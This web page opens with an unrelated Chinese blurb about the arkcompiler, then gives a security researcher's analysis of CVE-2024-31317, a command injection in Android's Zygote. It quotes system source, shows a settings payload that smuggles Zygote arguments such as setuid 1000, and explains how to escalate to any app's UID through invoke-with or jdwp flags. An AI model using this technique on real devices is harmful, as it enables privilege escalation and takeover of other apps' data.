0%

背景

伴随着HarmonyOS NEXT的发布,华为实现了计算机领域三座大山的跨越:操作系统、处理器、编译器。其中HarmonyOS NEXT的编译器名叫arkcompiler,它的发布引起了编译、安全、程序分析等领域人员的广泛关注,我们阅读了arkcompiler的源码,进行了关键步骤的梳理,并绘制了相关流程图,供大家学习参考,如有错误还望批评指正。

panda字节码格式

arkcompiler编译流程图

Abstract

This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to the Mystique vulnerability discovered by the author years ago (which won the Pwnie Award for Best Privilege Escalation Bug), but each has its own merits.

Origin of the Vulnerability

A few months ago, Meta X Red Team published two very interesting Android Framework vulnerabilities that could be used to escalate privileges to any UID. Among them, CVE-2024-0044, due to its simplicity and directness, has already been widely analyzed in the technical community with public exploits available (it's worth mentioning that people were later surprised to find that the first fix for this vulnerability was actually ineffective). Meanwhile, CVE-2024-31317 still lacks a public detailed analysis and exploit, although the latter has greater power than the former (able to obtain system-uid privileges). This vulnerability is also quite surprising, because it's already 2024, and we can still find command injection in Android's core component (Zygote).

This reminds us of the Mystique vulnerability we discovered years ago, which similarly allowed attackers to obtain privileges for any uid. It's worth noting that both vulnerabilities have certain prerequisites. For example, CVE-2024-31317 requires the WRITE_SECURE_SETTINGS permission. Although this permission is not particularly difficult to obtain, it theoretically still requires an additional vulnerability, as ordinary untrusted_apps cannot obtain this permission (however, it seems that on some branded phones, regular apps may have some methods to directly obtain this permission). ADB shell natively has this permission, and similarly, some special pre-installed signed apps also have this permission.

However, the exploitation effect and universality of this logical vulnerability are still sufficient to make us believe that it is the most valuable Android user-mode vulnerability in recent years since Mystique. Meta's original article provides an excellent analysis of the cause of this vulnerability, but it only briefly touches on the exploitation process and methods, and is overall rather concise. This article will provide a detailed analysis and introduction to this vulnerability, and introduce some new exploitation methods, which, to our knowledge, are the first of their kind.

Attached is an image demonstrating the exploit effect, successfully obtaining system privilege on major phone brand’s June patch version:

Analysis of this vulnerability

Although the core of this vulnerability is command injection, exploiting it requires a considerable understanding of the Android system, especially how Android's cornerstone—the Zygote fork mechanism—works, and how it interacts with the system_server.

Zygote and system_server bootstrap process

Every Android developer knows that Zygote forks all processes in Android's Java world, and system_server is no exception, as shown in the figure below.

The Zygote process actually receives instructions from system_server and spawns child processes based on these instructions. This is implemented through the poll mechanism in ZygoteServer.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Runnable runSelectLoop(String abiList) {
//...
if (pollIndex == 0) {
// Zygote server socket
ZygoteConnection newPeer = acceptCommandPeer(abiList);
peers.add(newPeer);
socketFDs.add(newPeer.getFileDescriptor());
} else if (pollIndex < usapPoolEventFDIndex) {
// Session socket accepted from the Zygote server socket

try {
ZygoteConnection connection = peers.get(pollIndex);
boolean multipleForksOK = !isUsapPoolEnabled()
&& ZygoteHooks.isIndefiniteThreadSuspensionSafe();
final Runnable command =
connection.processCommand(this, multipleForksOK);

// TODO (chriswailes): Is this extra check necessary?
if (mIsForkChild) {
// We're in the child. We should always have a command to run at
// this stage if processCommand hasn't called "exec".
if (command == null) {
throw new IllegalStateException("command == null");
}

return command;
} else {
// We're in the server - we should never have any commands to run.
if (command != null) {
throw new IllegalStateException("command != null");
}

// We don't know whether the remote side of the socket was closed or
// not until we attempt to read from it from processCommand. This
// shows up as a regular POLLIN event in our regular processing
// loop.
if (connection.isClosedByPeer()) {
connection.closeSocket();
peers.remove(pollIndex);
socketFDs.remove(pollIndex);
}
}
}

//...
Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
ZygoteArguments parsedArgs;

Then it enters the processCommand function, which is the core function for parsing the command buffer and extracting parameters. The specific format is defined in ZygoteArguments, and much of our subsequent work will need to revolve around this format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
    Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
//...
try (ZygoteCommandBuffer argBuffer = new ZygoteCommandBuffer(mSocket)) {
while (true) {
try {
parsedArgs = ZygoteArguments.getInstance(argBuffer);
// Keep argBuffer around, since we need it to fork.
} catch (IOException ex) {
throw new IllegalStateException("IOException on command socket", ex);
}
//...
if (parsedArgs.mBootCompleted) {
handleBootCompleted();
return null;
}

if (parsedArgs.mAbiListQuery) {
handleAbiListQuery();
return null;
}

if (parsedArgs.mPidQuery) {
handlePidQuery();
return null;
}
//...
if (parsedArgs.mInvokeWith != null) {
try {
FileDescriptor[] pipeFds = Os.pipe2(O_CLOEXEC);
childPipeFd = pipeFds[1];
serverPipeFd = pipeFds[0];
Os.fcntlInt(childPipeFd, F_SETFD, 0);
fdsToIgnore = new int[]{childPipeFd.getInt$(), serverPipeFd.getInt$()};
} catch (ErrnoException errnoEx) {
throw new IllegalStateException("Unable to set up pipe for invoke-with",
errnoEx);
}
}
//...
if (parsedArgs.mInvokeWith != null || parsedArgs.mStartChildZygote
|| !multipleOK || peer.getUid() != Process.SYSTEM_UID) {
// Continue using old code for now. TODO: Handle these cases in the other path.
pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,
parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,
parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,
fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,
parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,
parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,
parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,
parsedArgs.mBindMountAppStorageDirs,
parsedArgs.mBindMountSyspropOverrides);

try {
if (pid == 0) {
// in child
zygoteServer.setForkChild();

zygoteServer.closeServerSocket();
IoUtils.closeQuietly(serverPipeFd);
serverPipeFd = null;

return handleChildProc(parsedArgs, childPipeFd,
parsedArgs.mStartChildZygote);
} else {
// In the parent. A pid < 0 indicates a failure and will be handled in
// handleParentProc.
IoUtils.closeQuietly(childPipeFd);
childPipeFd = null;
handleParentProc(pid, serverPipeFd);
return null;
}
} finally {
IoUtils.closeQuietly(childPipeFd);
IoUtils.closeQuietly(serverPipeFd);
}
} else {
ZygoteHooks.preFork();
Runnable result = Zygote.forkSimpleApps(argBuffer,
zygoteServer.getZygoteSocketFileDescriptor(),
peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
if (result == null) {
// parent; we finished some number of forks. Result is Boolean.
// We already did the equivalent of handleParentProc().
ZygoteHooks.postForkCommon();
// argBuffer contains a command not understood by forksimpleApps.
continue;
} else {
// child; result is a Runnable.
zygoteServer.setForkChild();
return result;
}
}
}
}
//...
if (parsedArgs.mApiDenylistExemptions != null) {
return handleApiDenylistExemptions(zygoteServer,
parsedArgs.mApiDenylistExemptions);
}

static @Nullable Runnable forkSimpleApps(@NonNull ZygoteCommandBuffer argBuffer,
@NonNull FileDescriptor zygoteSocket,
int expectedUid,
int minUid,
@Nullable String firstNiceName) {
boolean in_child =
argBuffer.forkRepeatedly(zygoteSocket, expectedUid, minUid, firstNiceName);
if (in_child) {
return childMain(argBuffer, /*usapPoolSocket=*/null, /*writePipe=*/null);
} else {
return null;
}
}

boolean forkRepeatedly(FileDescriptor zygoteSocket, int expectedUid, int minUid,
String firstNiceName) {
try {
return nativeForkRepeatedly(mNativeBuffer, zygoteSocket.getInt$(),
expectedUid, minUid, firstNiceName);

This is the top-level entry point for Zygote command processing, but the devil is in the details. After Android 12, Google implemented a fast-path C++ parser in ZygoteCommandBuffer, namely com_android_internal_os_ZygoteCommandBuffer.cpp. The main idea is that Zygote maintains a new inner loop in nativeForkRepeatly outside the outer loop in processCommand, to improve the efficiency of launching apps.

nativeForkRepeatly also polls on the Command Socket and repeatedly processes what is called a SimpleFork format parsed from the byte stream. This SimpleFork actually only processes simple zygote parameters such as runtime-args, setuid, setgid, etc. The discovery of other parameters during the reading process will cause an exit from this loop and return to the outer loop in processCommand, where a new ZygoteCommandBuffer will be constructed, the loop will restart, and unrecognized commands will be read and parsed again in the outer loop.

System_server may send various commands to zygote, not only commands to start processes, but also commands to modify some global environment values, such as denylistexemptions which contains the vulnerable code, which we will explain in more detail later.

As for system_server itself, its startup process is not complicated, as launched by hardcoded parameters in Zygote—obviously because Zygote cannot receive commands from a process that does not yet exist, this is a "chicken or egg" problem, and the solution is to start system_server through hardcoding.

The Zygote command format

The command parameters accepted by Zygote are in a format similar to Length-Value pairs, separated by line breaks, as shown below

1
2
3
4
5
6
7
8
9
10
11
12
13
8                              [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:

Roughly, the protocol parsing process first reads the number of lines, then reads the content of each line one by one according to the number of lines. However, after Android 12, the exploitation method gets much more complicated due to some buffer pre-reading optimizations, which also led to a significant increase in the length of this article and the difficulty of vulnerability exploitation.

The vulnerability itself

From the previous analysis, we can see that Zygote simply parses the buffer it receives from system_server blindly - without performing any additional secondary checks. This leaves room for command injection: if we can somehow manipulate system_server to write attacker-controlled content into the command socket.

denylistexemptions provides such a method

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
private void update() {
String exemptions = Settings.Global.getString(mContext.getContentResolver(),
Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
if (!TextUtils.equals(exemptions, mExemptionsStr)) {
mExemptionsStr = exemptions;
if ("*".equals(exemptions)) {
mBlacklistDisabled = true;
mExemptions = Collections.emptyList();
} else {
mBlacklistDisabled = false;
mExemptions = TextUtils.isEmpty(exemptions)
? Collections.emptyList()
: Arrays.asList(exemptions.split(","));
}
if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
Slog.e(TAG, "Failed to set API blacklist exemptions!");
// leave mExemptionsStr as is, so we don't try to send the same list again.
mExemptions = Collections.emptyList();
}
}
mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
}

@GuardedBy("mLock")
private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
if (state == null || state.isClosed()) {
Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
return false;
} else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
return true;
}

try {
state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
state.mZygoteOutputWriter.newLine();
state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
state.mZygoteOutputWriter.newLine();
for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
state.mZygoteOutputWriter.newLine();
}
state.mZygoteOutputWriter.flush();
int status = state.mZygoteInputStream.readInt();
if (status != 0) {
Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
}
return true;
} catch (IOException ioe) {
Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
mApiDenylistExemptions = Collections.emptyList();
return false;
}
}

"Regardless of the reason why hidden_api_blacklist_exemptions is modified, the ContentObserver's callback will be triggered. The newly written value will be read and, after parsing (mainly based on splitting the string by commas), directly written into the zygote command socket. A typical command injection."

Achieving universal exploitation utilizing socket features

Difficulty encountered on Android12 and above

The attacker's initial idea was to directly inject new commands that would trigger the process startup, as shown below:

1
2
3
4
5
6
7
8
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
3
--runtime-args
--setuid=1000
--setgid=1000
1
--boot-completed"
"

In Android 11 or earlier versions, this type of payload was simple and effective because in these versions, Zygote reads each line directly through Java's readLine without any buffer implementation affecting it. However, in Android 12, the situation becomes much more complex. Command parsing is now handled by NativeCommandBuffer, introducing a key difference: after the content is examined for once, this parser discards all trailing unrecognized content in the buffer and exits, rather than saving it for the next parsing attempt. This means that injected commands will be directly discarded!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
NO_STACK_PROTECTOR
jboolean com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly(
JNIEnv* env,
jclass,
jlong j_buffer,
jint zygote_socket_fd,
jint expected_uid,
jint minUid,
jstring managed_nice_name) {

//...
bool first_time = true;
do {
if (credentials.uid != static_cast<uid_t>(expected_uid)) {
return JNI_FALSE;
}
n_buffer->readAllLines(first_time ? fail_fn_1 : fail_fn_n);
n_buffer->reset();
int pid = zygote::forkApp(env, /* no pipe FDs */ -1, -1, session_socket_fds,
/*args_known=*/ true, /*is_priority_fork=*/ true,
/*purge=*/ first_time);
if (pid == 0) {
return JNI_TRUE;
}
//...
for (;;) {
// Clear buffer and get count from next command.
n_buffer->clear();
//...
if ((fd_structs[SESSION_IDX].revents & POLLIN) != 0) {
if (n_buffer->getCount(fail_fn_z) != 0) {
break;
} // else disconnected;
} else if (poll_res == 0 || (fd_structs[ZYGOTE_IDX].revents & POLLIN) == 0) {
fail_fn_z(
CREATE_ERROR("Poll returned with no descriptors ready! Poll returned %d", poll_res));
}
// We've now seen either a disconnect or connect request.
close(session_socket);
//...
}
first_time = false;
} while (n_buffer->isSimpleForkCommand(minUid, fail_fn_n));
ALOGW("forkRepeatedly terminated due to non-simple command");
n_buffer->logState();
n_buffer->reset();
return JNI_FALSE;
}

std::optional<std::pair<char*, char*>> readLine(FailFn fail_fn) {
char* result = mBuffer + mNext;
while (true) {
// We have scanned up to, but not including mNext for this line's newline.
if (mNext == mEnd) {
if (mEnd == MAX_COMMAND_BYTES) {
return {};
}
if (mFd == -1) {
fail_fn("ZygoteCommandBuffer.readLine attempted to read from mFd -1");
}
ssize_t nread = TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd));
if (nread <= 0) {
if (nread == 0) {
return {};
}
fail_fn(CREATE_ERROR("session socket read failed: %s", strerror(errno)));
} else if (nread == static_cast<ssize_t>(MAX_COMMAND_BYTES - mEnd)) {
// This is pessimistic by one character, but close enough.
fail_fn("ZygoteCommandBuffer overflowed: command too long");
}
mEnd += nread;
}
// UTF-8 does not allow newline to occur as part of a multibyte character.
char* nl = static_cast<char *>(memchr(mBuffer + mNext, '\n', mEnd - mNext));
if (nl == nullptr) {
mNext = mEnd;
} else {
mNext = nl - mBuffer + 1;
if (--mLinesLeft < 0) {
fail_fn("ZygoteCommandBuffer.readLine attempted to read past end of command");
}
return std::make_pair(result, nl);
}
}
}

"The nativeForkRepeatedly function operates roughly as follows: After the socket initialization setup is completed, n_buffer->readLines will pre-read and buffer all the lines—i.e., all the content that can currently be read from the socket. The subsequent reset will move the buffer's current read pointer back to the initial position—meaning the subsequent operations on n_buffer will start parsing this buffer from the beginning, without re-triggering a socket read. After a child process is forked, it will consume this buffer to extract its uid and gid and set them by itself. The parent process will continue execution and enter the for loop below. This for loop continuously listens to the corresponding socket's file descriptor (fd), receiving and reconstructing incoming connections if they are unexpectedly interrupted.

graph TD
    A[Socket Initialization and Setup] --> B[n_buffer->readLines Reads and Buffers All Lines]
    B --> C[reset Moves Buffer Pointer Back to Initial Position]
    C --> D[n_buffer Re-parses the Buffer]
    D --> E{Fork Child Process}
    E --> F[Child Process Consumes Buffer to Extract UID and GID]
    E --> G[Parent Process Continues Execution]
    G --> H[Enters for Loop]
    H --> I[n_buffer->clear Clears Buffer]
    I --> J[Continuously Listens on Socket FD]
    J --> K[Receives and Rebuilds Incoming Connections]
    K --> L[n_buffer->getCount]
    L --> |Valid Input| O[Check if it is a simpleForkCommand]
    L --> |Invalid Input| I
    O --> |Is SimpleFork| B
    O --> |Not SimpleFork| ZygoteConnection::ProcessCommand
1
2
3
for (;;) {
// Clear buffer and get count from next command.
n_buffer->clear();

But this is where things start to get complex and tricky. The call to n_buffer->clear(); discards all the remaining content in the current buffer (the buffer size is 12,200 on Android 12 and HarmonyOS 4, and 32,768 in later versions). This leads to the previously mentioned issue: the injected content will essentially be discarded and will not enter the next round of parsing.

Thus, the core exploitation method here is figuring out how to split the injected content into different reads so that it gets processed. Theoretically, this relies on the Linux kernel's scheduler. Generally speaking, splitting the content into different write operations on the other side, with a certain time interval between them, can achieve this goal in most cases. Now, let's take a look back at the vulnerable function in system_server that triggers the writing to the command socket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
if (state == null || state.isClosed()) {
Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
return false;
} else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
return true;
}

try {
state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
state.mZygoteOutputWriter.newLine();
state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
state.mZygoteOutputWriter.newLine();
for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
state.mZygoteOutputWriter.newLine();
}
state.mZygoteOutputWriter.flush();
int status = state.mZygoteInputStream.readInt();
if (status != 0) {
Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
}
return true;
} catch (IOException ioe) {
Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
mApiDenylistExemptions = Collections.emptyList();
return false;
}
}

mZygoteOutputWriter, which inherits from BufferedWriter, has a buffer size of 8192.

1
2
3
4
5
6
7
8
public void write(int c) throws IOException {
synchronized (lock) {
ensureOpen();
if (nextChar >= nChars)
flushBuffer();
cb[nextChar++] = (char) c;
}
}

This means that unless flush is explicitly called, writes to the socket will only be triggered when the size of accumulated content in the BufferedWriter reaches the defaultCharBufferSize.

It’s important to note that separate writes do not necessarily guarantee separate reads on the receiving side, as the kernel might merge socket operations. The author of Meta proposed a method to mitigate this: inserting a large number of commas to extend the time consumption in the for loop, thereby increasing the time interval between the first socket write and the second socket write (flush). Depending on the device configuration, the number of commas may need to be adjusted, but the overall length must not exceed the maximum size of the CommandBuffer, or it will cause Zygote to abort. The added commas are parsed as empty lines in an array after the string split and will first be written by system_server as a corresponding count, represented by 3001 in the diagram below. However, during Zygote parsing, we must ensure that this count matches the corresponding lines before and after the injection.

Thus, the final payload layout is as shown in the diagram below

Chaining it alltogether

We want the first part of the payload, which is the content before 13 (the yellow section in the diagram below), to exactly reach the 8192-character limit of the BufferedWriter, causing it to trigger a flush and ultimately initiate a socket write.

When Zygote receives this request, it should be in com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly, having just finished processing the previous simpleFork, and blocked at n_buffer->getCount (which is used to read the line count from the buffer). After this request arrives, getline will read all the contents from the socket into the buffer (note: it doesn't read line by line), and upon reading 3001 (line count), it detects that it is not a isSimpleForkCommand. This causes the function to exit nativeForkRepeatedly and return to the processCommand function in ZygoteConnection.

1
2
3
4
5
6
7
8
9
10
ZygoteHooks.preFork();
Runnable result = Zygote.forkSimpleApps(argBuffer,
zygoteServer.getZygoteSocketFileDescriptor(),
peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
if (result == null) {
// parent; we finished some number of forks. Result is Boolean.
// We already did the equivalent of handleParentProc().
ZygoteHooks.postForkCommon();
// argBuffer contains a command not understood by forksimpleApps.
continue;

The whole procedure is as follows:

graph TD;
A[Zygote Receives Request] --> B[Enter com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly];
B --> C[Finish Processing Previous simpleFork];
C --> D[n_buffer->getCount Reads Line Count];
D --> E[getline Reads Buffer];
E --> F[Reads the 3001 Line Count];
F --> G[Detects it is not isSimpleForkCommand];
G --> H[Exit nativeForkRepeatedly];
H --> I[Return to ZygoteConnection's processCommand Function];

This entire 8192-sized block of content is then passed into ZygoteInit.setApiDenylistExemptions, after which processing of this block is no longer relevant to this vulnerability. Zygote consumes this, and proceed to receive following parts of commands.

At this point, note that we look from the Zygote side back to the system_server side, where system_server is still within the maybeSetApiDenylistExemptions function's for loop. The 8192 block just processed by Zygote corresponds to the first write in this for loop.

1
2
3
4
5
6
7
8
9
10
try {
state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
state.mZygoteOutputWriter.newLine();
state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
state.mZygoteOutputWriter.newLine();
for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); //<----
state.mZygoteOutputWriter.newLine();
}
state.mZygoteOutputWriter.flush();

The next writer.write will write the core command injection payload, and then the for loop will continue iterating 3000 (or another specified linecount - 1) times. This is done to ensure that consecutive socket writes do not get merged by the kernel into a single write, which could result in Zygote exceeding the buffer size limit and causing Zygote to abort during its read operation.

These iterations accumulated do not exceed the 8192-byte limit of the BufferedWriter, will not trigger an actual socket write within the for loop. Instead, the socket write will only be triggered during the flush. From Zygote's perspective, it will continue parsing the new buffer in ZygoteArguments.getInstance, corresponding to the section shown in green in the diagram below.

This green section will be read into the buffer in one go. The first thing to be processed is the line count 13, followed by the fully controlled Zygote parameters injected by the attacker.

This time, the ZygoteArguments will only contain the 13 lines from this buffer, while the rest of the buffer (empty lines) will be processed in the next call to ZygoteArguments.getInstance. When the next new ZygoteArguments instance is created, ZygoteCommandBuffer will perform another read, effectively ignoring the remaining empty lines.

What should we do after successfully obtaining control of Zygote parameters?

"After all the complex work outlined above, we have successfully achieved the goal of reliably controlling the Zygote parameters through this vulnerability. However, we still haven’t addressed a critical question: What can be done with these controlled parameters, or how can they be used to escalate privileges?

At first glance, this question seems obvious, but in reality, it requires deeper exploration.

Attempt #1: Can we control Zygote to execute a specific package name with a particular uid?

This might be our first thought: Can we achieve this by controlling the --package-name and UID?

Unfortunately, the package name is not of much significance to the attacker or to the entire code loading and execution process. Let's recall the Android App loading process:

And let's continue by examining the relevant code inApplicationThread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) {
//...
// Find the value for {@link #PROC_START_SEQ_IDENT} if provided on the command line.
// It will be in the format "seq=114"
long startSeq = 0;
if (args != null) {
for (int i = args.length - 1; i >= 0; --i) {
if (args[i] != null && args[i].startsWith(PROC_START_SEQ_IDENT)) {
startSeq = Long.parseLong(
args[i].substring(PROC_START_SEQ_IDENT.length()));
}
}
}
ActivityThread thread = new ActivityThread();
thread.attach(false, startSeq);

As we can see, the APK code loading process actually depends on startSeq, a parameter maintained by the ActivityManagerService, which maps ApplicationRecord to startSeq. This mapping tracks the corresponding loadApk, meaning the specific APK file and its path.

So, let’s take a step back:

Method #1: Can we control the execution of arbitrary code under a specific UID?

The answer is yes. By analyzing the parameters in ZygoteArguments, we discovered that the invokeWith parameter can be used to achieve this goal:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static void execApplication(String invokeWith, String niceName,
int targetSdkVersion, String instructionSet, FileDescriptor pipeFd,
String[] args) {
StringBuilder command = new StringBuilder(invokeWith);

final String appProcess;
if (VMRuntime.is64BitInstructionSet(instructionSet)) {
appProcess = "/system/bin/app_process64";
} else {
appProcess = "/system/bin/app_process32";
}
command.append(' ');
command.append(appProcess);

// Generate bare minimum of debug information to be able to backtrace through JITed code.
// We assume that if the invoke wrapper is used, backtraces are desirable:
// * The wrap.sh script can only be used by debuggable apps, which would enable this flag
// without the script anyway (the fork-zygote path). So this makes the two consistent.
// * The wrap.* property can only be used on userdebug builds and is likely to be used by
// developers (e.g. enable debug-malloc), in which case backtraces are also useful.
command.append(" -Xcompiler-option --generate-mini-debug-info");

command.append(" /system/bin --application");
if (niceName != null) {
command.append(" '--nice-name=").append(niceName).append("'");
}
command.append(" com.android.internal.os.WrapperInit ");
command.append(pipeFd != null ? pipeFd.getInt$() : 0);
command.append(' ');
command.append(targetSdkVersion);
Zygote.appendQuotedShellArgs(command, args);
preserveCapabilities();
Zygote.execShell(command.toString());
}

This piece of code concatenates mInvokeWith with the subsequent arguments and executes them via execShell. We only need to point this parameter to an ELF binary or shell script that the attacker controls, and it must be readable and executable by Zygote.

However, we also need to consider the restrictions imposed by SELinux and the AppData directory permissions. Even if an attacker sets a file in a private directory to be globally readable and executable, Zygote will not be able to access or execute it. To resolve this, we refer to the technique we used in the Mystique vulnerability: using files from the app-lib directory.

The related method for obtaining a system shell is shown in the figure, with the device running HarmonyOS 4.2.

However, this exploitation method still has a problem: obtaining a shell with a specific UID is not the same as direct in-process code execution. If we want to perform further hooking or code injection, this method would require an additional code execution trampoline, but not every app possesses this characteristic, and Android 14 has further introduced DCL (Dynamic Code Loading) restrictions.

So, is it possible to further achieve this goal?

Method #2: Leveraging the jdwp Flag

Here, we propose a new approach: the runtime-flags field in ZygoteArguments can actually be used to enable an application's debuggable attribute.

1
2
3
4
5
6
7
8
9
10
11
static void applyDebuggerSystemProperty(ZygoteArguments args) {
if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_JDWP)) {
args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_JDWP;
// Also enable ptrace when JDWP is enabled for consistency with
// before persist.debug.ptrace.enabled existed.
args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
}
if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_PTRACE)) {
args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
}
}

Building on our analysis in Attempt #1, we can borrow a startSeq that matches an existing record in system_server to complete the full app startup process.The key advantage here is that the app's process flags have been modified to enable the debuggable attribute, allowing the attacker to use tools like jdb to gain execution control within the process.

The Challenge: Predicting startSeq

The issue, however, lies in predicting the startSeq parameter. ActivityManagerService enforces strict validation for this parameter, ensuring that only legitimate values associated with active application startup processes are used.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
private void attachApplicationLocked(@NonNull IApplicationThread thread,
int pid, int callingUid, long startSeq) {
// Find the application record that is being attached... either via
// the pid if we are running in multiple processes, or just pull the
// next app record if we are emulating process with anonymous threads.
ProcessRecord app;
long startTime = SystemClock.uptimeMillis();
long bindApplicationTimeMillis;
long bindApplicationTimeNanos;
if (pid != MY_PID && pid >= 0) {
synchronized (mPidsSelfLocked) {
app = mPidsSelfLocked.get(pid);
}
if (app != null && (app.getStartUid() != callingUid || app.getStartSeq() != startSeq)) {
String processName = null;
final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
if (pending != null) {
processName = pending.processName;
}
final String msg = "attachApplicationLocked process:" + processName
+ " startSeq:" + startSeq
+ " pid:" + pid
+ " belongs to another existing app:" + app.processName
+ " startSeq:" + app.getStartSeq();
Slog.wtf(TAG, msg);
// SafetyNet logging for b/131105245.
EventLog.writeEvent(0x534e4554, "131105245", app.getStartUid(), msg);
// If there is already an app occupying that pid that hasn't been cleaned up
cleanUpApplicationRecordLocked(app, pid, false, false, -1,
true /*replacingPid*/, false /* fromBinderDied */);
removePidLocked(pid, app);
app = null;
}
} else {
app = null;
}

// It's possible that process called attachApplication before we got a chance to
// update the internal state.
if (app == null && startSeq > 0) {
final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
if (pending != null && pending.getStartUid() == callingUid
&& pending.getStartSeq() == startSeq
&& mProcessList.handleProcessStartedLocked(pending, pid,
pending.isUsingWrapper(), startSeq, true)) {
app = pending;
}
}

if (app == null) {
Slog.w(TAG, "No pending application record for pid " + pid
+ " (IApplicationThread " + thread + "); dropping process");
EventLogTags.writeAmDropProcess(pid);
if (pid > 0 && pid != MY_PID) {
killProcessQuiet(pid);
//TODO: killProcessGroup(app.info.uid, pid);
// We can't log the app kill info for this process since we don't
// know who it is, so just skip the logging.
} else {
try {
thread.scheduleExit();
} catch (Exception e) {
// Ignore exceptions.
}
}
return;
}

If an unmatched or incorrect startSeq is used, the process will be immediately killed. The startSeq is incremented by 1 with each app startup. So how can an attacker retrieve or guess the current startSeq?

Our solution to this issue is to first install an attacker-controlled application, and by searching the stack frames, the current startSeq can be found.

The overall exploitation process is as follows (for versions 11 and earlier):

graph TD;
    A["Attacker Installs a Debuggable Stub Application"] --> B["Search Stack Frames to Obtain the Current startSeq"];
    B --> C["startSeq+1, Perform Command Injection; Zygote Hangs, Waiting for Next App Start"];
    C --> D["Launch the Target App via Intent; Corresponding ApplicationRecord Appears in ActivityManagerService"];
